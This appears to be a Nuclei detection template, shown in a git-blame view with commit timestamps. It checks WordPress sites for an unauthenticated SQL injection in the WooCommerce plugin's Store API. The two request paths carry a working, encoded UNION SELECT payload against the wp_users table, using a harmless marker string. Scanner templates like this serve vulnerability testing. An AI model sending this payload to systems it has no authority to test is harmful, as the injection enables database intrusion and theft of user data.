2021-07-15 17:02:19 +00:00
|
|
|
id: wordpress-woocommerce-sqli
|
|
|
|
|
|
|
|
info:
|
2022-03-22 03:48:47 +00:00
|
|
|
name: Woocommerce Unauthenticated SQL Injection
|
2021-07-15 18:38:42 +00:00
|
|
|
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
|
2021-07-15 17:02:19 +00:00
|
|
|
severity: critical
|
2022-03-22 03:48:47 +00:00
|
|
|
description: The Woocommerce plugin for Wordpress contains an unauthenticated SQL injection vulnerability.
|
2022-01-13 05:19:26 +00:00
|
|
|
tags: wordpress,woocommerce,sqli,wp-plugin,injection
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
|
|
|
|
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
|
2022-03-22 03:48:47 +00:00
|
|
|
- https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cve-id:
|
|
|
|
cwe-id: CWE-89
|
2021-07-15 17:02:19 +00:00
|
|
|
|
|
|
|
requests:
|
2021-07-15 19:04:38 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
|
|
|
|
- '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
|
2021-07-15 17:02:19 +00:00
|
|
|
|
2021-07-15 17:28:43 +00:00
|
|
|
matchers-condition: and
|
2021-07-15 17:02:19 +00:00
|
|
|
matchers:
|
2021-07-15 17:28:43 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2021-07-15 19:04:38 +00:00
|
|
|
- 'sqli-test'
|
|
|
|
- 'attribute_counts'
|
2021-08-25 21:13:53 +00:00
|
|
|
- 'price_range'
|
|
|
|
- 'term'
|
2021-07-15 17:28:43 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- 'application/json'
|
|
|
|
part: header
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-01-04 19:34:16 +00:00
|
|
|
- 200
|
2022-03-22 03:48:47 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/03/21
|